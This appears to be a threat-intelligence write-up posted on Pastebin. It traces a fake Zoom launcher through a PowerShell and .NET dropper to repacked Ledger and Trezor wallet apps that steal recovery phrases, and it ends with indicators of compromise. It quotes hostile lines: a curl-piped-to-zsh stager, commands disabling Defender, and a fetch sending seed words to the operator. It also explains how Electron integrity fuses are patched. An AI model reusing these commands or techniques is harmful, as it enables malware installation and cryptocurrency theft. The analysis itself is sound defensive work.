spamreports

bro do you even lift

Aug 21st, 2026
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.92 KB | None | 0 0
  1. Fake Zoom Launcher Leading to Ledger and Trezor Recovery-Phrase Theft + A Third Secret Thing (???)
  2.  
  3. Summary
  4. I found this while hunting for potentially malicious pages in the Censys data set. It initially looked like a fake Zoom launcher, but following the chain far enough led to a Ledger and Trezor recovery-phrase stealer.
  5.  
  6. The end goal is straightforward: replace an installed Ledger or Trezor desktop app with a repacked copy that asks the user for their recovery phrase, then sends those words to the operator.
  7. The intended chain looks like this:
  8. A fake Zoom page tries several ways to reach a native execution context.
  9. The Windows path retrieves PowerShell from /zm/cfg.
  10. PowerShell downloads a .NET dropper and starts it hidden.
  11. The dropper attempts persistence, disables security controls, and launches follow-on scripts.
  12. A wallet-swap script patches Electron security fuses and replaces app.asar in installed Ledger or Trezor applications.
  13. The repacked wallet app asks for the recovery phrase and POSTs it to the operator.
  14. Several links in the chain were broken or unproven, so it does not run cleanly end to end as written. The working and nonworking pieces are separated below.
  15. The Zoom launcher
  16.  
  17. The page uses one cleartext inline script with no obfuscation. Its C2 is bound to the page's own origin:
  18. var C2 = location.origin;
  19. That means every /zm/* and /assets/* path resolves to the same listener. The only hardcoded external host in the page is datasyncllc[.]net.
  20. The meeting ID is pulled from /j/, /s/, or the ?id= query parameter. If none is present, the page falls back to 89930854351, so it works without any parameters.
  21. macOS branch
  22.  
  23. The macOS command is:
  24. curl -kfsSL hxxps://datasyncllc[.]net/cdn/apps/stage2.sh | zsh
  25. Here, -k ignores certificate validation, -f fails on HTTP errors, and -L follows redirects. The response is piped directly into zsh without first being written to disk.
  26. The page also sends the command to eight named WebKit message handlers:
  27. jsOCHelper
  28. Native
  29. invoke
  30. runCommand
  31. executeScript
  32. shell
  33. nativeInterface
  34. ZoomNative
  35. Each handler receives the same five-key envelope: a, c, action, command, and args. The idea appears to be that a handler accepting any one of those keys would receive the command.
  36. In practice, the stage-two URL returned an HTTP 200 response containing a "Site Unavailable" page. Because the status was still 200, curl -f accepted it and passed HTML to zsh. I could not recover a working macOS stage.
  37. Everything below relates to the Windows branch.
  38. Windows execution attempts
  39. The page tries several Windows execution paths:
  40. ActiveXObject("WScript.Shell").Run
  41. chrome.webview.hostObjects.shell.Execute
  42. chrome.webview.postMessage({type:'shell'})
  43. Zoom SDK calls through postJsMessage, callNative, and invokeNativeFunction
  44. It also uses off-screen iframes to try two OS protocol handlers:
  45. ms-officecmd: with a LaunchParam envelope pointing to /zm/cfg
  46. search-ms:query=zoom&crumb=location:/assets
  47. Neither protocol-handler path executes anything in an ordinary browser without a privileged receiver.
  48. The page also posts into real Zoom client frames using three RPC envelope shapes and opens MessageChannel transports using these Zoom-internal channel names:
  49. ZM_UNIFY_HYBRID_MSG
  50. CHAT_SDK_RPC
  51. SYNC_CLIENT_REQUEST
  52. iframe-chat-sync
  53. zustand-sync
  54. livesdk
  55. chatsdk
  56. cross-storage
  57. webim
  58. Several other scripts look more like proof-of-concept code than working exploits. The V8_SANDBOX path uses resizable ArrayBuffer edge cases, proxy coercion, and an object spray, but it does not contain a read/write primitive, shellcode, or an escape.
  59. The worker "RCE" is similar. The imported /zm/rce/payload.js file is only 179 bytes. It sets self.RCE=1, posts a same-host callback, and messages its parent. Its CHAIN counters increase when an attempt is made or an API is present, and it asserts CHAIN_COMPLETE, but there is little evidence that it actually achieves code execution.
  60. The page also tries to register /zm/sw.js as a service worker at scope /. A raw HTTP IP is not a secure context, so a standard browser should refuse the registration. The advertised HTTPS port was not reachable.
  61. The /zm/cfg path and .NET dropper
  62. The path that does lead somewhere is /zm/cfg, which returns a single Base64 string. Decoding it first as Base64 and then as UTF-16LE produces PowerShell that:
  63. forces TLS 1.2;
  64. writes %TEMP%\z<8 hex>.exe;
  65. downloads dropper_v2.exe;
  66. starts it hidden; and
  67. suppresses errors.
  68. There is an important qualifier: the download URL specifies HTTPS on port 8080, but that port serves only HTTP. The chain therefore fails at TLS as written. Manually correcting that protocol mismatch allowed me to recover a .NET binary.
  69. Recovered binary
  70. Format: PE32+ .NET, IL only
  71. CLR: v4.0.30319
  72. Entry point: Microsoft.EdgeUpdate.UpdateAgent.Main
  73. Version resource: Microsoft Edge Update / 1.3.171.39
  74. Manifest: asInvoker
  75. SHA-256: b984bf1324e74be0a1490c22fe2e1af096b6745f97d48c61374caf44f847d647
  76. The file is signed, but the leaf certificate is self-issued and only claims to be Microsoft:
  77. C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation
  78. Certificate SHA-256:
  79. 66b2cba0979e7f6e5ead494a518214227f4e0f88856535a2384410a8ca9fa500
  80. The binary stores its strings as 45 Base64 values, each XORed with 0xA7 at runtime. The recovered strings include the base URL hxxps://datasyncllc[.]net/cdn/apps/ and these filenames:
  81. mp.exe
  82. mp1.dll
  83. mp2.dll
  84. loader.exe
  85. version.dll
  86. vstor.dat
  87. swap.ps1
  88. r.ps1
  89. On Windows build 22000 or later, it downloads mp.exe, mp1.dll, and mp2.dll as MiniPlasma.exe, NtApiDotNet.dll, and Microsoft.Win32.TaskScheduler.dll. It runs MiniPlasma.exe, waits up to 15 seconds, writes r.ps1, and then tries to create a scheduled task running as SYSTEM.
  90. Persistence, execution, and evasion
  91. The reconstructed r.ps1 does the following:
  92. Adds a Microsoft Defender exclusion for %APPDATA%\Microsoft\DeviceSync.
  93. Disables real-time monitoring with Set-MpPreference -DisableRealtimeMonitoring $true.
  94. Downloads loader.exe as OneDriveStandaloneUpdater.exe, along with version.dll and vstor.dat.
  95. Starts the renamed loader hidden.
  96. Waits three seconds and re-enables real-time monitoring.
  97. Executes swap.ps1 in memory.
  98. The renamed loader, adjacent version.dll, and fixed working directory are consistent with DLL search-order side-loading. vstor.dat is likely data or an encrypted payload. Neither point is confirmed because all three files were unavailable.
  99. Wallet application swap
  100. Unlike the earlier stages, swap.ps1 does not fetch from datasyncllc[.]net. It names a second host:
  101. $cdn = 'hxxps://wi3sync[.]net/cdn/apps'
  102. At the time I checked, that host was live and both wallet bundles requested by the script returned HTTP 200.
  103. The script searches for directories matching Ledger or Trezor under:
  104. %LOCALAPPDATA%\Programs
  105. %LOCALAPPDATA%
  106. %APPDATA%
  107. %ProgramFiles%
  108. %ProgramFiles(x86)%
  109. matching app-* subdirectories
  110. three Uninstall registry locations, matched on DisplayName
  111. It keys on these executables:
  112. Ledger Wallet.exe
  113. Ledger Live.exe
  114. Trezor Suite.exe
  115. All three are Electron applications, which is what makes the replacement possible. An Electron app's code normally lives in resources\app.asar. Replacing that archive changes the application while leaving its icon, install path, and signed launcher in place.
  116. Electron has defenses against this. The script's Patch-Fuses function scans the wallet executable for Electron's fuse sentinel, reads the following fuse array, and changes positions 4 and 5 from 1 to 0.
  117. Electron's documented schema places EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar at those positions. Those are the controls that would reject a tampered archive. Once disabled, the replacement bundle loads without an integrity error.
  118. I checked the byte layout against stock Electron builds: the sentinel is followed by a 0x01 schema byte, a count byte, and then the ASCII fuse array. The script's offset arithmetic lands on that array. The shipping wallet apps I examined had both fuses enabled.
  119. The script's Swap-Wallet function then:
  120. Deletes resources\app, since Electron prefers an unpacked directory over the archive.
  121. Runs icacls resources /grant Everyone:F /T.
  122. Overwrites resources\app.asar with the downloaded bundle.
  123. Writes a hidden marker and skips the application on later runs if that marker already exists.
  124. The bundles identify themselves in their own package.json files:
  125. ledger.asar: ledger-live-desktop version 2.145.0, product name Ledger Wallet
  126. trezor.asar: @trezor/suite-desktop version 26.4.2
  127. Both appear to be repackaged versions of the legitimate wallet applications.
  128. Recovery-phrase theft
  129. The Trezor bundle opens to a recovery flow with these steps: Recovery, Device, Seed, and Finish. The first screen says:
  130. Something went wrong... But don't worry! Your crypto assets are safe and accessible.
  131. The user is then asked to choose a recovery-phrase length: 12, 18, 20, 24, or 33 words.
  132. The next screen, "Enter your recovery seed," presents a grid of inputs. Its paste handler splits a pasted phrase across the fields and converts every word to lowercase.
  133. When the user selects Confirm, the app displays fake progress messages such as "Connecting to device," "Validating seed phrase," and "Restoring wallet data." While that spinner is running, it POSTs the words to:
  134. fetch('hxxps://datasyncllc[.]net/api/recovery', {
  135. method: 'POST',
  136. body: {seedwords, token: '2898635b...', app: 'trezor', url}
  137. })
  138. It then displays: "Verification failed. Please check your words and try again."
  139. That response serves two purposes: it can capture a second attempt if the first contains a typo, and it delays the point at which the user starts questioning why the app requested the phrase.
  140. The Ledger bundle's injected third step behaves the same way, using the same URL and hardcoded token with app: 'ledger'. Afterward, it sends the window to index.html, returning the user to the real application so it does not appear broken.
  141. The shared token connects both wallet bundles and both hosts to the same build.
  142. The listener changed while I was looking at it
  143. While I continued investigating, the page that had served the Zoom lure began serving a different page titled:
  144. POC Server - Zoom Security Research
  145. It displayed this banner:
  146. AUTHORIZED RESEARCH ONLY All activity is logged locally. No external connections.
  147. And as well all know that makes it totally legit...
  148.  
  149.  
  150. The page listed these test endpoints:
  151. /xss — postMessage/XSS test framework
  152. /protocol — protocol-handler test vectors
  153. /sw-test — service-worker poisoning tests
  154. /smb-test — SMB/UNC path NTLM tests
  155. /ntlm — NTLM authentication capture
  156. /logs — captured logs
  157. It also included various exploit and script builders. A Server Info block named zoommeet2312xxqq[.]xyz, ports 8080 and 8443, and this log directory:
  158. C:\Users\Administrator\Desktop\ZoomAuthorized\poc_server\logs
  159. Two details stood out. First, "No external connections" was not literally true for clients running the tests: /xss loaded public Zoom frames, and /smb-test referenced an external UNC host. Second, /logs was publicly accessible and exposed paths, headers, user agents, and client addresses.
  160. Hunting note
  161. The launcher can be found in the Censys data set with this query:
  162. Censys search for: /zm/worker-rce
  163. The wallet-swap tier is Cloudflare-fronted and path-only, so body-content pivots do not reach it. The listener is the visible node.
  164. Indicators of compromise
  165. Network indicators
  166. 209.99.184[.]116
  167. hxxp://209.99.184[.]116:8080/
  168. zoommeet2312xxqq[.]xyz
  169. zoommeet2312xxqq[.]xyz/share
  170. datasyncllc[.]net
  171. hxxps://datasyncllc[.]net/cdn/apps/
  172. hxxps://datasyncllc[.]net/api/recovery
  173. wi3sync[.]net
  174. Wallet-swap indicators
  175. hxxps://wi3sync[.]net/cdn/apps/ledger.asar?v=30 — 176,837,429 bytes
  176. hxxps://wi3sync[.]net/cdn/apps/trezor.asar?v=30 — 76,017,364 bytes
  177. Shared token: 2898635beda7bf46e91852d55228a6f3f075f23c3b2fa22dfccd43322adc6a0e
  178. swap.ps1 hashes
  179. SHA-256: 7368465fb8d974818c6aa669f94e06347a86f0d2bba53692a5efac9a7d94245a
  180. SHA-1: c25e41b54459809f25845d90bea304676ee2a589
  181. MD5: 0a8dd552ca9943989049f104eafdf8a5
Add Comment
Please, Sign In to add comment